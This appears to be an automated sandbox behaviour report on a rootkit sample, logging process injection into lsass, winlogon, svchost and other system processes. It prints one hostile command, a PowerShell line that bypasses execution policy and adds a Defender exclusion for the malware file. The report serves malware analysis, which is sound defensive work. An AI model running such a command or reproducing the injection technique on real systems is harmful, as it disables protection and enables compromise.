Source: C:\Users\Public\DeadROOTkit.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe'			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Users\Public\DeadROOTkit.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Public\DeadROOTkit.exe'

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dllhost.exe

Code function: 6_2_0000000140002430 CreateProcessW,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,VirtualAllocEx,WriteProcessMemory,VirtualProtectEx,WriteProcessMemory,VirtualProtectEx,VirtualAlloc,Wow64GetThreadContext,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

6_2_0000000140002430

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DC612AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: C0AB2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 612D2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\dwm.exe EIP: AF1E2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 87992AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 53772AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5D532AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 67D2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 5B392AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: EBFD2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 59042AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A9E72AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 73162AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4E862AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 473C2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 6F9D2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 83BC2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: D3F72AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A4152AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: BDF32AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C0262AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C9F32AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 645B2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 7B2A2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4F62AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 2AB42AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 4ADB2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\spoolsv.exe EIP: 1992AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 25DA2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F5352AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F0D62AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FFB2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C2572AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B942AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 66932AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13EF2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D572AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 69B42AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CC742AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5DA72AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 199D2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F3892AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3B82AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 40E42AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A6532AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 27BC2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7B152AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 621A2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F482AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8B4B2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 683D2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8BA2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2E262AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6C5E2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D5932AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC652AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 78742AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 33B42AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8D0A2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AB4C2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2A642AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6CF32AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 641A2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 49352AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 60DB2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5E7B2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F7C2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E8152AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 52342AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9DA92AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 602E2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C5AA2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F8FD2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F33D2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 48772AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2FB21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EAD62AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 86DD2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 4DB12AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6F952AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10C21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10C21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EF21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F721CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2DC21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EC21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F321CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: ED21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13E21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F021CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F321CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F721CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E221CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B721CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F221CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F721CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 15B21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2B621CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F421CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F221CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13121CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12721CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: AA21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F221CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 2F421CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E721CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: ED21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C221CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: A421CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13821CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9021CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C021CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14C21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D021CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9F21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13F21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B421CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: D021CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5121CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 6E21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9E21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E321CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EA21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13D21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 10B21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8721CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EF21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B921CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1A21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F021CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F121CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 13921CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: B021CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 14721CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5C21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: FC21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9121CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 5B21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EF21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: EE21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BD21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 3B21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F421CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 7921CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: F521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 8C21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: C521CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 12121CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: BD21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: DA21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 9B21CF	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1B412AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 1B9F2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 38862AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\conhost.exe EIP: 2F792AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Users\Public\Deadsvchost.exe EIP: 21B42AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\schtasks.exe EIP: 3BB52AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: E00B2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 562AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 942AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: 11C2AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CEF02AB8	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Thread created: unknown EIP: CEF62AB8	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 225DC610000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 202C0AB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A6612D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2BAAF1E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26A87990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17953770000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2295D530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 253067D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1845B390000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1ADEBFD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D559040000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 241A9E70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CD73160000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2824E860000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21B473C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2086F9D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17183BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FD3F70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2A4150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 275BDF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1AAC0260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 203C9F30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B5645B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BB7B2A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C004F60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 24E2AB40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2644ADB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\spoolsv.exe base: 1990000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 20D25DA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 26EF5350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A7F0D60000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 23D0FFB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B1C2570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2108B940000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 29166930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 21C13EF0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1988D570000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 13869B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E1CC740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2855DA70000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2BF199D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 15AF3890000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21A03B80000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\sihost.exe base: 1CD40E40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 151A6530000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 19E27BC0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 17D7B150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1BE621A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2252F480000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 1F28B4B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 184683D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\explorer.exe base: 8BA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1972E260000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dasHost.exe base: 2246C5E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 221D5930000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1ECFC650000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1D178740000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A633B40000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 2928D0A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 13DAB4C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 1A22A640000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 21C6CF30000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1EF641A0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\audiodg.exe base: 1D349350000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 23B60DB0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 2135E7B0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F22F7C0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 1F6E8150000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 20C52340000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 2589DA90000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 1F5602E0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 151C5AA0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 270F8FD0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 16BF33D0000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1A348770000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe base: 2FB0000 value starts with: 4D5A	Jump to behavior
